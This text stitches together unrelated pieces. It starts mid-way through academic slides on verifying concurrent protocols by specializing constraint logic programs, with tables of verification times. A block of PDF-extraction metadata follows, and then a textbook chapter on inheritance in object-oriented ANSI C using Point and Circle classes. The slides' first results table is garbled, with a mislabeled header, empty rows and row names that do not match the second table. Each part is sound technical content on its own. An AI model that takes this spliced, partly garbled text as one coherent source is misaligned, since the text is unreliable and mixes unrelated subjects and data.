Output: A stratified program $SpP_S$ such that
$\text{prop} \in M(P_S)$ iff $\text{prop} \in M(SpP_S)$.
- $SpPs := \{g1\}; \text{InDefs} := \{g2\}; \text{Defs} := \{\}$;
- while (there exists a clause $\gamma$ in InDefs) do
- Unfold($\gamma, \Gamma$);
- Generalize&Fold(Defs, $\Gamma$, NewDefs, $\Phi$);
- $SpPs := SpPs \cup \Phi$; InDefs := (InDefs $\setminus \{\gamma\}) \cup$ NewDefs;
end-while
Termination of specialization (Phase 1)
- Local control
- Termination of the Unfold procedure
- Global control
- Termination of the while loop
- We use constraint generalization techniques
Generalization
- For limiting the number of clauses introduced by definition, sometimes we introduce definitions containing a generalized constraint
- Well quasi orderings: generalization is eventually applied
- Generalization operators: each definition can be generalized a finite number of times only
- Selecting a good generalization strategy is not trivial
- Too coarse -> unable to prove property
- Too fine-grained -> high verification times
The constraint domain $\text{Lin}_k$
- $\text{Lin}_k$ are linear inequations over $k$ distinct variables $X_1,\ldots,X_k$
- Constraints of $\text{Lin}_k$ are conjunctions of atomic constraints of the form
- $p \leq 0$ or $p < 0$
where $p$ is a polynomial of the form
- $q_0 + q_1X_1 + \ldots + q_kX_k$
and $q_i$'s are integers
Well-quasi orderings
- A well-quasi ordering on a set $S$ is a reflexive, transitive, binary relation $\leq$ such that, for every infinite sequence $e_0, e_1, \ldots$ of elements of $S$, there exist $i$ and $j$ such that $i < j$ and $e_i \leq e_j$.
HomeoCoeff compares sequences of absolute values of integer coefficients occurring in polynomials
(i) \( q_0 + q_1 x_1 + \ldots + q_k x_k \leq r_0 + r_1 x_1 + \ldots + r_k x_k \)
iff there exist a permutation \( h \) of the indexes \( \langle 0, \ldots, k \rangle \) such that, for \( i=0,\ldots,k \), \( |q_i| \leq |r_{h(i)}| \)
- Extended to atomic constraints and constraints
- for example \( q<0 \preceq r<0 \) iff (i) holds
MaxCoeff and SumCoeff wqo's
- **MaxCoeff** compares the maximum absolute value of coefficients occurring in polynomials for any two atomic constraints $q$ and $r$, we have that $q \preceq r$ iff $\max\{|q_0|, \ldots, |q_k|\} \leq \max\{|r_0|, \ldots, |r_k|\}$
- **SumCoeff** compares the sum of the absolute value of coefficients occurring in polynomials
Similarly $q \preceq r$ iff $|q_0| + \ldots + |q_k| \leq |r_0| + \ldots + |r_k|$
Generalization operators
- Given a wqo \( \preceq \), the generalization of a constraint \( c \) w.r.t. a constraint \( d \) is a constraint \( c \ominus d \) such that
- \( d \sqsubseteq c \ominus d \)
- \( c \ominus d \preceq c \)
- \( c \ominus d \) can replace \( d \) in a candidate definition for folding
- Every infinite sequence of constraints constructed by using the generalization operator eventually stabilizes (similar to the widening operator in abstract interpretation)
- In general, \( \ominus \) is not commutative
Generalization operators
Let $c = a_1, ..., a_m$ and $d = b_1, ..., b_n$
- **Top**: $c \ominus d$ is the constraint *true*
- **Widen**: $c \ominus d$ is the conjunction of all $a_i$'s such that $d \sqsubseteq a_i$
- **WidenPlus**: $c \ominus d$ is the conjunction of all $a_i$'s such that $d \sqsubseteq a_i$ and of all $b_j$'s such that $b_j \preceq c$
- **CHWiden and CHWidenPlus** obtained by applying the Convex Hull operator
Experimental evaluation
- Experiments performed using the MAP transformation system
- http://www.iasi.cnr.it/~proietti/system.html
- **Mutual exclusion protocols:**
- bakery2 (safety and liveness)
- bakery3 (safety)
- Mutast (safety)
- Peterson (safety for N processes)
- Ticket (safety and liveness)
Experimental evaluation
- Parameterized cache coherence protocols
- Berkeley RISC, DEC Firefly, IEEE Futurebus+, Illinois University, MESI, MOESI, Synapse N+1, and Xerox PARC Dragon.
- Used in shared-memory multiprocessing systems for guaranteeing data consistency of the local cache associated with every CPU
Experimental evaluation
- Other systems
- Parameterized barber problem with N customers
- Producer-consumer via Bounded and Unbounded buffer
- CSM a central server model
- Insertion and selection sort: check array bounds
- Office light control
- Reset Petri nets
<table>
<thead>
<tr>
<th>EXAMPLE</th>
<th>wquery W:</th>
<th>Generalization G.</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>CHWiden</td>
</tr>
<tr>
<td></td>
<td></td>
<td>HC</td>
</tr>
<tr>
<td>Bakery 2 (safety)</td>
<td>20</td>
<td>70</td>
</tr>
<tr>
<td>Bakery 2 (liveness)</td>
<td>60</td>
<td>120</td>
</tr>
<tr>
<td>Bakery 3 (safety)</td>
<td>40</td>
<td>80</td>
</tr>
<tr>
<td>Mut.Ast</td>
<td>160</td>
<td>800</td>
</tr>
<tr>
<td>Peterson N</td>
<td>230</td>
<td>440</td>
</tr>
<tr>
<td>Ticket (safety)</td>
<td>30</td>
<td>30</td>
</tr>
<tr>
<td>Ticket (liveness)</td>
<td>90</td>
<td>120</td>
</tr>
<tr>
<td>Berkeley RISC</td>
<td>60</td>
<td>60</td>
</tr>
<tr>
<td>DEC Firefly</td>
<td>190</td>
<td>120</td>
</tr>
<tr>
<td>IEEE Futurebus+</td>
<td>100</td>
<td>60</td>
</tr>
<tr>
<td>Illinois University</td>
<td>50</td>
<td>80</td>
</tr>
<tr>
<td>M68000</td>
<td>50</td>
<td>60</td>
</tr>
<tr>
<td>M1</td>
<td>100</td>
<td>50</td>
</tr>
<tr>
<td>MOESI</td>
<td>80</td>
<td>40</td>
</tr>
<tr>
<td>Synapse N+1</td>
<td>980</td>
<td>160</td>
</tr>
<tr>
<td>Synapse N+2</td>
<td>950</td>
<td>60</td>
</tr>
<tr>
<td>XeroxPARC Dragon</td>
<td>1230</td>
<td>80</td>
</tr>
<tr>
<td>Barber</td>
<td>41380</td>
<td>30150</td>
</tr>
<tr>
<td>Bounded Buffer</td>
<td>73990</td>
<td>370</td>
</tr>
<tr>
<td>Unbounded Buffer</td>
<td>73190</td>
<td>170</td>
</tr>
<tr>
<td>CSM</td>
<td>310</td>
<td>130</td>
</tr>
<tr>
<td>Insertion Sort</td>
<td>80</td>
<td>80</td>
</tr>
<tr>
<td>Selection Sort</td>
<td>80</td>
<td>60</td>
</tr>
<tr>
<td>Office Light Control</td>
<td>380</td>
<td>80</td>
</tr>
<tr>
<td>Reset Petri Nets</td>
<td>40</td>
<td>50</td>
</tr>
<tr>
<td></td>
<td>10</td>
<td>10</td>
</tr>
</tbody>
</table>
Analysis
- Precision (number of properties proved) and average verification time
- SumCoeff &WidenPlus 23/23 (820 ms)
- MaxCoeff &WidenPlus 22/23 (730 ms)
- SumCoeff &CHWidenPlus 22/23 (2990 ms)
- Top and Widen are fast but not accurate
- Information about the call can be lost
Comparison with other systems
- **Action Language Verifier (Bultan 01)**
- combines BDD-based symbolic manipulation for boolean and enumerated types, with a solver for linear constraints on integers
- **DMC (Delzanno 01)**
- computes (approximated) least and greatest models of CLP(R) programs
- **HyTech (Henzinger 97)**
- model checker for hybrid systems
<table>
<thead>
<tr>
<th>EXAMPLE</th>
<th>MAP ( SC&WidenPlus )</th>
<th>ALV ( \text{default} )</th>
<th>ALV ( A )</th>
<th>ALV ( F )</th>
<th>ALV ( L )</th>
<th>DMC ( \text{noAbs} )</th>
<th>DMC ( \text{Abs} )</th>
<th>HyTech ( Fw )</th>
<th>HyTech ( Bw )</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bakery 2 (safety)</td>
<td>20</td>
<td>20</td>
<td>30</td>
<td>90</td>
<td>30</td>
<td>10</td>
<td>30</td>
<td>( \infty )</td>
<td>20</td>
</tr>
<tr>
<td>Bakery 2 (liveness)</td>
<td>70</td>
<td>30</td>
<td>30</td>
<td>90</td>
<td>30</td>
<td>60</td>
<td>70</td>
<td>( \times )</td>
<td>( \times )</td>
</tr>
<tr>
<td>Bakery 3 (safety)</td>
<td>160</td>
<td>580</td>
<td>570</td>
<td>( \infty )</td>
<td>600</td>
<td>460</td>
<td>3090</td>
<td>( \infty )</td>
<td>360</td>
</tr>
<tr>
<td>MutAst</td>
<td>140</td>
<td>( \perp )</td>
<td>( \perp )</td>
<td>910</td>
<td>( \perp )</td>
<td>150</td>
<td>1370</td>
<td>70</td>
<td>130</td>
</tr>
<tr>
<td>Peterson N</td>
<td>230</td>
<td>71690</td>
<td>( \perp )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>70</td>
<td>( \infty )</td>
</tr>
<tr>
<td>Ticket (safety)</td>
<td>40</td>
<td>( \infty )</td>
<td>80</td>
<td>30</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>60</td>
<td>( \infty )</td>
<td>( \infty )</td>
</tr>
<tr>
<td>Ticket (liveness)</td>
<td>110</td>
<td>( \infty )</td>
<td>230</td>
<td>40</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>220</td>
<td>( \times )</td>
<td>( \times )</td>
</tr>
<tr>
<td>Berkeley RISC</td>
<td>30</td>
<td>10</td>
<td>( \perp )</td>
<td>20</td>
<td>60</td>
<td>30</td>
<td>30</td>
<td>( \infty )</td>
<td>20</td>
</tr>
<tr>
<td>DEC Firefly</td>
<td>20</td>
<td>10</td>
<td>( \perp )</td>
<td>20</td>
<td>80</td>
<td>50</td>
<td>80</td>
<td>( \infty )</td>
<td>20</td>
</tr>
<tr>
<td>IEEE Futurebus+</td>
<td>2460</td>
<td>320</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>670</td>
<td>4670</td>
<td>9890</td>
<td>( \infty )</td>
<td>380</td>
</tr>
<tr>
<td>Illinois University</td>
<td>20</td>
<td>10</td>
<td>( \perp )</td>
<td>( \infty )</td>
<td>140</td>
<td>70</td>
<td>110</td>
<td>( \infty )</td>
<td>20</td>
</tr>
<tr>
<td>MESI</td>
<td>30</td>
<td>10</td>
<td>( \perp )</td>
<td>20</td>
<td>60</td>
<td>40</td>
<td>60</td>
<td>( \infty )</td>
<td>20</td>
</tr>
<tr>
<td>MOESI</td>
<td>60</td>
<td>10</td>
<td>( \perp )</td>
<td>40</td>
<td>100</td>
<td>50</td>
<td>90</td>
<td>( \infty )</td>
<td>10</td>
</tr>
<tr>
<td>Synapse N+1</td>
<td>10</td>
<td>10</td>
<td>( \perp )</td>
<td>10</td>
<td>30</td>
<td>0</td>
<td>0</td>
<td>( \infty )</td>
<td>0</td>
</tr>
<tr>
<td>Xerox PARC Dragon</td>
<td>40</td>
<td>20</td>
<td>( \perp )</td>
<td>40</td>
<td>340</td>
<td>70</td>
<td>120</td>
<td>( \infty )</td>
<td>20</td>
</tr>
<tr>
<td>Barber</td>
<td>1170</td>
<td>340</td>
<td>( \perp )</td>
<td>90</td>
<td>360</td>
<td>140</td>
<td>230</td>
<td>( \infty )</td>
<td>90</td>
</tr>
<tr>
<td>Bounded Buffer</td>
<td>3540</td>
<td>0</td>
<td>10</td>
<td>( \infty )</td>
<td>20</td>
<td>20</td>
<td>30</td>
<td>( \infty )</td>
<td>10</td>
</tr>
<tr>
<td>Unbonded Buffer</td>
<td>3890</td>
<td>10</td>
<td>10</td>
<td>40</td>
<td>40</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
</tr>
<tr>
<td>CSM</td>
<td>6580</td>
<td>79490</td>
<td>( \perp )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
</tr>
<tr>
<td>Insertion Sort</td>
<td>100</td>
<td>40</td>
<td>60</td>
<td>( \infty )</td>
<td>70</td>
<td>30</td>
<td>80</td>
<td>( \infty )</td>
<td>10</td>
</tr>
<tr>
<td>Selection Sort</td>
<td>190</td>
<td>( \infty )</td>
<td>390</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
<td>( \infty )</td>
</tr>
<tr>
<td>Office Light Control</td>
<td>50</td>
<td>20</td>
<td>20</td>
<td>30</td>
<td>20</td>
<td>10</td>
<td>10</td>
<td>( \infty )</td>
<td>( \infty )</td>
</tr>
<tr>
<td>Reset Petri Nets</td>
<td>0</td>
<td>( \infty )</td>
<td>( \perp )</td>
<td>( \infty )</td>
<td>10</td>
<td>0</td>
<td>0</td>
<td>( \infty )</td>
<td>10</td>
</tr>
</tbody>
</table>
Analysis
- Precision (number of properties proved) and average verification time
- MAP 23/23 (820 ms)
- DMC (with abstraction) 19/23 (820 ms)
- ALV (default option) 18/23 (8480 ms)
- HyTech (backwards) 17/23 (70 ms)
Analysis
- Bounded and Unbounded Buffer can be easily verified by backward reachability
- The specialization phase is redundant
- MAP slower than other systems
- Peterson and CSM examples
- The specialization phase pays off
- MAP much more efficient than other systems
Future work
- Use approximation methods during the bottom-up computation of the perfect model (Phase 2)
- Apply specialization to concurrent systems specified in different languages, not necessarily (C)LP based
The end
Transformation rules
- Unfolding
- basically a resolution step
- From
\[
\begin{align*}
p(X,Y) & : - Y=0, q(X) \\
q(X) & : - X>2, r \\
q(X) & : - X<1, s \\
\end{align*}
\]
- To
\[
\begin{align*}
p(X,Y) & : - Y=0, X>2, r \\
p(X,Y) & : - Y=0, X<1, s \\
q(X) & : - X>2, r \\
q(X) & : - X<1, s \\
\end{align*}
\]
Transformation rules
- Constrained atomic definition
- We add a new clause to the current program
- newpred(X) :- e(X), sat(X, φ)
where newpred is a fresh predicate symbol
Transformation rules
- Constrained atomic folding
- Inverse of unfolding
- From
\[
p(X) :- X=2, \ q(X) \\
newq(X) :- X>1, \ q(X)
\]
- To
\[
p(X) :- X=2, \ newq(X) \\
newq(X) :- X>1, \ q(X)
\]
- Notice that \( X=2 \) implies \( X>1 \)
Transformation rules
- **Clause removal**
- Remove clauses with unsatisfiable constraints
- p(X) :- X=0, X=1.
- Remove clauses subsumed by other clauses of the form H :- c where c is a constraint
- For example q(Y) :- Y>2, p(X,Y) is subsumed by q(Y) :- Y>0.
Unfold procedure
- Unfold once, then unfold as long as in the body of a clause obtained by unfolding there is an atom of one of the following forms:
- $t(s_1, s_2), ts(s, ss)$
- $sat(s, e)$, where $e$ is an elementary property,
- $sat(s, not(\psi))$, $sat(s, and(\psi_1, \psi_2))$, $sat(s, ex(\psi_1))$
- $sat_all(ss, \psi_1)$, where $ss$ is a non-variable list
- Clause removal
- We do not repeatedly unfold atoms $sat(s, eu(\psi))$ and $sat(s, af(\psi))$
- $Unfold(\gamma, \Gamma)$ terminates for any clause $\gamma$ with a ground CTL formula
|
{"Source-Url": "http://www.iasi.cnr.it/%7Eproietti/talks/2010_CILC_fabio_slides.pdf", "len_cl100k_base": 7076, "olmocr-version": "0.1.50", "pdf-total-pages": 37, "total-fallback-pages": 0, "total-input-tokens": 53715, "total-output-tokens": 8873, "length": "2e12", "weborganizer": {"__label__adult": 0.0004029273986816406, "__label__art_design": 0.0005588531494140625, "__label__crime_law": 0.0006766319274902344, "__label__education_jobs": 0.0011920928955078125, "__label__entertainment": 8.26716423034668e-05, "__label__fashion_beauty": 0.00019371509552001953, "__label__finance_business": 0.0004549026489257813, "__label__food_dining": 0.0005574226379394531, "__label__games": 0.0008945465087890625, "__label__hardware": 0.0016889572143554688, "__label__health": 0.0008454322814941406, "__label__history": 0.00035262107849121094, "__label__home_hobbies": 0.0002123117446899414, "__label__industrial": 0.0012426376342773438, "__label__literature": 0.0002989768981933594, "__label__politics": 0.0003941059112548828, "__label__religion": 0.0007047653198242188, "__label__science_tech": 0.1673583984375, "__label__social_life": 0.00013828277587890625, "__label__software": 0.00885772705078125, "__label__software_dev": 0.81103515625, "__label__sports_fitness": 0.0004189014434814453, "__label__transportation": 0.0009598731994628906, "__label__travel": 0.00024628639221191406}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 20403, 0.04411]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 20403, 0.08239]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 20403, 0.61933]], "google_gemma-3-12b-it_contains_pii": [[0, 283, false], [283, 555, null], [555, 710, null], [710, 1195, null], [1195, 2432, null], [2432, 3267, null], [3267, 3983, null], [3983, 4626, null], [4626, 5002, null], [5002, 5583, null], [5583, 6136, null], [6136, 6599, null], [6599, 6795, null], [6795, 7248, null], [7248, 7578, null], [7578, 7829, null], [7829, 8263, null], [8263, 8703, null], [8703, 9240, null], [9240, 9672, null], [9672, 9986, null], [9986, 10300, null], [10300, 10576, null], [10576, 12605, null], [12605, 12893, null], [12893, 13259, null], [13259, 18026, null], [18026, 18251, null], [18251, 18529, null], [18529, 18741, null], [18741, 18749, null], [18749, 18749, null], [18749, 19135, null], [19135, 19311, null], [19311, 19586, null], [19586, 19849, null], [19849, 20403, null]], "google_gemma-3-12b-it_is_public_document": [[0, 283, true], [283, 555, null], [555, 710, null], [710, 1195, null], [1195, 2432, null], [2432, 3267, null], [3267, 3983, null], [3983, 4626, null], [4626, 5002, null], [5002, 5583, null], [5583, 6136, null], [6136, 6599, null], [6599, 6795, null], [6795, 7248, null], [7248, 7578, null], [7578, 7829, null], [7829, 8263, null], [8263, 8703, null], [8703, 9240, null], [9240, 9672, null], [9672, 9986, null], [9986, 10300, null], [10300, 10576, null], [10576, 12605, null], [12605, 12893, null], [12893, 13259, null], [13259, 18026, null], [18026, 18251, null], [18251, 18529, null], [18529, 18741, null], [18741, 18749, null], [18749, 18749, null], [18749, 19135, null], [19135, 19311, null], [19311, 19586, null], [19586, 19849, null], [19849, 20403, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 20403, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 20403, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 20403, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 20403, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 20403, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 20403, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 20403, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 20403, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 20403, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 20403, null]], "pdf_page_numbers": [[0, 283, 1], [283, 555, 2], [555, 710, 3], [710, 1195, 4], [1195, 2432, 5], [2432, 3267, 6], [3267, 3983, 7], [3983, 4626, 8], [4626, 5002, 9], [5002, 5583, 10], [5583, 6136, 11], [6136, 6599, 12], [6599, 6795, 13], [6795, 7248, 14], [7248, 7578, 15], [7578, 7829, 16], [7829, 8263, 17], [8263, 8703, 18], [8703, 9240, 19], [9240, 9672, 20], [9672, 9986, 21], [9986, 10300, 22], [10300, 10576, 23], [10576, 12605, 24], [12605, 12893, 25], [12893, 13259, 26], [13259, 18026, 27], [18026, 18251, 28], [18251, 18529, 29], [18529, 18741, 30], [18741, 18749, 31], [18749, 18749, 32], [18749, 19135, 33], [19135, 19311, 34], [19311, 19586, 35], [19586, 19849, 36], [19849, 20403, 37]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 20403, 0.16517]]}
|
olmocr_science_pdfs
|
2024-12-03
|
2024-12-03
|
6a2c96570a77ef3812ff623a3c71bea6e76d4840
|
4
Inheritance
Code Reuse and Refinement
4.1 A Superclass — Point
In this chapter we will start a rudimentary drawing program. Here is a quick test for one of the classes we would like to have:
```c
#include "Point.h"
#include "new.h"
int main (int argc, char ** argv)
{
void * p;
while (* ++ argv)
{
switch (** argv) {
case 'p':
p = new(Point, 1, 2);
break;
default:
continue;
}
draw(p);
move(p, 10, 20);
draw(p);
delete(p);
}
return 0;
}
```
For each command argument starting with the letter `p` we get a new point which is drawn, moved somewhere, drawn again, and deleted. ANSI-C does not include standard functions for graphics output; however, if we insist on producing a picture we can emit text which Kernighan's pic [Ker82] can understand:
```
$ points p
." at 1,2
." at 11,22
```
The coordinates do not matter for the test — paraphrasing a commercial and oospeak: “the point is the message.”
What can we do with a point? `new()` will produce a point and the constructor expects initial coordinates as further arguments to `new()`. As usual, `delete()` will recycle our point and by convention we will allow for a destructor.
`draw()` arranges for the point to be displayed. Since we expect to work with other graphical objects — hence the `switch` in the test program — we will provide dynamic linkage for `draw()`.
**move()** changes the coordinates of a point by the amounts given as arguments. If we implement each graphical object relative to its own reference point, we will be able to move it simply by applying **move()** to this point. Therefore, we should be able to do without dynamic linkage for **move()**.
### 4.2 Superclass Implementation — **Point**
The abstract data type interface in **Point.h** contains the following:
```c
extern const void * Point; /* new(Point, x, y); */
void move (void * point, int dx, int dy);
```
We can recycle the **new.c** files from chapter 2 except that we remove most methods and add **draw()** to **new.h**:
```c
void * new (const void * class, ...);
void delete (void * item);
void draw (const void * self);
```
The type description **struct Class** in **new.r** should correspond to the method declarations in **new.h**:
```c
struct Class {
size_t size;
void * (* ctor) (void * self, va_list * app);
void * (* dtor) (void * self);
void (* draw) (const void * self);
};
```
The selector **draw()** is implemented in **new.c**. It replaces selectors such as **differ()** introduced in section 2.3 and is coded in the same style:
```c
void draw (const void * self)
{
const struct Class * const * cp = self;
assert(self && * cp && (* cp) —> draw);
(* cp) —> draw(self);
}
```
After these preliminaries we can turn to the real work of writing **Point.c**, the implementation of points. Once again, object-orientation has helped us to identify precisely what we need to do: we have to decide on a representation and implement a constructor, a destructor, the dynamically linked method **draw()** and the statically linked method **move()**, which is just a plain function. If we stick with two-dimensional, Cartesian coordinates, we choose the obvious representation:
```c
struct Point {
const void * class;
int x, y; /* coordinates */
};
```
The constructor has to initialize the coordinates .x and .y — by now absolutely routine:
It turns out that we do not need a destructor because we have no resources to reclaim before `delete()` does away with `struct Point` itself. In `Point_draw()` we print the current coordinates in a way which `pic` can understand:
```c
static void Point_draw (const void * _self)
{
const struct Point * self = _self;
printf("\".\" at %d,%d\n", self->x, self->y);
}
```
This takes care of all the dynamically linked methods and we can define the type descriptor, where a null pointer represents the non-existing destructor:
```c
static const struct Class _Point = {
sizeof(struct Point), Point_ctor, 0, Point_draw
};
const void * Point = & _Point;
```
`move()` is not dynamically linked, so we omit `static` to export it from `Point.c` and we do not prefix its name with the class name `Point`:
```c
void move (void * _self, int dx, int dy)
{
struct Point * self = _self;
self->x += dx, self->y += dy;
}
```
This concludes the implementation of points in `Point` together with the support for dynamic linkage in `new`.
### 4.3 Inheritance — Circle
A circle is just a big point: in addition to the center coordinates it needs a radius. Drawing happens a bit differently, but moving only requires that we change the coordinates of the center.
This is where we would normally crank up our text editor and perform source code reuse. We make a copy of the implementation of points and change those parts where a circle is different from a point. `struct Circle` gets an additional component:
```c
int rad;
```
This component is initialized in the constructor
```c
self -> rad = va_arg(* app, int);
```
and used in `Circle_draw()`:
printf("circle at \%d,\%d rad \%d\n",
self —> x, self —> y, self —> rad);
We get a bit stuck in move(). The necessary actions are identical for a point and a circle: we need to add the displacement arguments to the coordinate components. However, in one case, move() works on a struct Point, and in the other case, it works on a struct Circle. If move() were dynamically linked, we could provide two different functions to do the same thing, but there is a much better way. Consider the layout of the representations of points and circles:
<table>
<thead>
<tr>
<th>point class</th>
<th>circle class</th>
</tr>
</thead>
<tbody>
<tr>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>y</td>
<td>y</td>
</tr>
<tr>
<td>rad</td>
<td></td>
</tr>
</tbody>
</table>
struct Point struct Circle
The picture shows that every circle begins with a point. If we derive struct Circle by adding to the end of struct Point, we can pass a circle to move() because the initial part of its representation looks just like the point which move() expects to receive and which is the only thing that move() can change. Here is a sound way to make sure the initial part of a circle always looks like a point:
```
struct Circle { const struct Point _; int rad; };
```
We let the derived structure start with a copy of the base structure that we are extending. Information hiding demands that we should never reach into the base structure directly; therefore, we use an almost invisible underscore as its name and we declare it to be `const` to ward off careless assignments.
This is all there is to simple inheritance: a subclass is derived from a superclass (or base class) merely by lengthening the structure that represents an object of the superclass.
Since representation of the subclass object (a circle) starts out like the representation of a superclass object (a point), the circle can always pretend to be a point — at the initial address of the circle’s representation there really is a point’s representation.
It is perfectly sound to pass a circle to move(): the subclass inherits the methods of the superclass because these methods only operate on that part of the subclass’ representation that is identical to the superclass’ representation for which the methods were originally written. Passing a circle as a point means converting from a struct Circle * to a struct Point *. We will refer to this as an up-cast from a subclass to a superclass — in ANSI-C it can only be accomplished with an explicit conversion operator or through intermediate void * values.
It is usually unsound, however, to pass a point to a function intended for circles such as `Circle_draw()`: converting from a `struct Point *` to a `struct Circle *` is only permissible if the point originally was a circle. We will refer to this as a down-cast from a superclass to a subclass — this requires explicit conversions or `void *` values, too, and it can only be done to pointers to objects that were in the subclass to begin with.
### 4.4 Linkage and Inheritance
`move()` is not dynamically linked and does not use a dynamically linked method to do its work. While we can pass points as well as circles to `move()`, it is not really a polymorphic function: `move()` does not act differently for different kinds of objects, it always adds arguments to coordinates, regardless of what else might be attached to the coordinates.
The situation is different for a dynamically linked method like `draw()`. Let us look at the previous picture again, this time with the type descriptions shown explicitly:
<table>
<thead>
<tr>
<th>Point</th>
<th>Circle</th>
</tr>
</thead>
<tbody>
<tr>
<td>•</td>
<td>•</td>
</tr>
<tr>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>y</td>
<td>y</td>
</tr>
<tr>
<td>size</td>
<td>size</td>
</tr>
<tr>
<td>ctor</td>
<td>ctor</td>
</tr>
<tr>
<td>dtor</td>
<td>dtor</td>
</tr>
<tr>
<td>draw</td>
<td>draw</td>
</tr>
</tbody>
</table>
```plaintext
struct Point
struct Circle
```
When we up-cast from a circle to a point, we do not change the state of the circle, i.e., even though we look at the circle's `struct Circle` representation as if it were a `struct Point`, we do not change its contents. Consequently, the circle viewed as a point still has `Circle` as a type description because the pointer in its `.class` component has not changed. `draw()` is a selector function, i.e., it will take whatever argument is passed as `self`, proceed to the type description indicated by `.class`, and call the `draw` method stored there.
A subclass inherits the statically linked methods of its superclass — those methods operate on the part of the subclass object which is already present in the superclass object. A subclass can choose to supply its own methods in place of the dynamically linked methods of its superclass. If inherited, i.e., if not overwritten, the superclass' dynamically linked methods will function just like statically linked methods and modify the superclass part of a subclass object. If overwritten, the subclass' own version of a dynamically linked method has access to the full representation of a subclass object, i.e., for a circle `draw()` will invoke `Circle_draw()` which can consider the radius when drawing the circle.
4.5 Static and Dynamic Linkage
A subclass inherits the statically linked methods of its superclass and it can choose to inherit or overwrite the dynamically linked methods. Consider the declarations for `move()` and `draw()`:
```c
void move (void * point, int dx, int dy);
void draw (const void * self);
```
We cannot discover the linkage from the two declarations, although the implementation of `move()` does its work directly, while `draw()` is only the selector function which traces the dynamic linkage at runtime. The only difference is that we declare a statically linked method like `move()` as part of the abstract data type interface in `Point.h`, and we declare a dynamically linked method like `draw()` with the memory management interface in `new.h`, because we have thus far decided to implement the selector function in `new.c`.
Static linkage is more efficient because the C compiler can code a subroutine call with a direct address, but a function like `move()` cannot be overwritten for a subclass. Dynamic linkage is more flexible at the expense of an indirect call — we have decided on the overhead of calling a selector function like `draw()`, checking the arguments, and locating and calling the appropriate method. We could forgo the checking and reduce the overhead with a macro* like
```c
#define draw(self)
( (* (struct Class **) self) -> draw (self))
```
but macros cause problems if their arguments have side effects and there is no clean technique for manipulating variable argument lists with macros. Additionally, the macro needs the declaration of `struct Class` which we have thus far made available only to class implementations and not to the entire application.
Unfortunately, we pretty much decide things when we design the superclass. While the function calls to the methods do not change, it takes a lot of text editing, possibly in a lot of classes, to switch a function definition from static to dynamic linkage and vice versa. Beginning in chapter 7 we will use a simple preprocessor to simplify coding, but even then linkage switching is error-prone.
In case of doubt it is probably better to decide on dynamic rather than static linkage even if it is less efficient. Generic functions can provide a useful conceptual abstraction and they tend to reduce the number of function names which we need to remember in the course of a project. If, after implementing all required classes, we discover that a dynamically linked method was never overwritten, it is a lot less trouble to replace its selector by its single implementation, and even waste its slot in `struct Class`, than to extend the type description and correct all the initializations.
---
* In ANSI-C macros are not expanded recursively so that a macro may hide a function by the same name.
4.6 Visibility and Access Functions
We can now attempt to implement `Circle_draw()`. Information hiding dictates that we use three files for each class based on a “need to know” principle. `Circle.h` contains the abstract data type interface; for a subclass it includes the interface file of the superclass to make declarations for the inherited methods available:
```c
#include "Point.h"
extern const void * Circle; /* new(Circle, x, y, rad) */
```
The interface file `Circle.h` is included by the application code and for the implementation of the class; it is protected from multiple inclusion.
The representation of a circle is declared in a second header file, `Circle.r`. For a subclass it includes the representation file of the superclass so that we can derive the representation of the subclass by extending the superclass:
```c
#include "Point.r"
struct Circle { const struct Point _; int rad; };
```
The subclass needs the superclass representation to implement inheritance: `struct Circle` contains a `const struct Point`. The point is certainly not constant — `move()` will change its coordinates — but the `const` qualifier guards against accidentally overwriting the components. The representation file `Circle.r` is only included for the implementation of the class; it is protected from multiple inclusion.
Finally, the implementation of a circle is defined in the source file `Circle.c` which includes the interface and representation files for the class and for object management:
```c
#include "Circle.h"
#include "Circle.r"
#include "new.h"
#include "new.r"
static void Circle_draw (const void * _self)
{
const struct Circle * self = _self;
printf("circle at %d,%d rad %d\n",
self->_.x, self->_.y, self->rad);
}
```
In `Circle_draw()` we have read point components for the circle by invading the subclass part with the “invisible name” `_`. From an information hiding perspective this is not such a good idea. While reading coordinate values should not create major problems we can never be sure that in other situations a subclass implementation is not going to cheat and modify its superclass part directly, thus potentially playing havoc with its invariants.
Efficiency dictates that a subclass reach into its superclass components directly. Information hiding and maintainability require that a superclass hide its own representation as best as possible from its subclasses. If we opt for the latter, we should provide access functions for all those components of a superclass which a subclass is allowed to look at, and modification functions for those components, if any, which the subclass may modify.
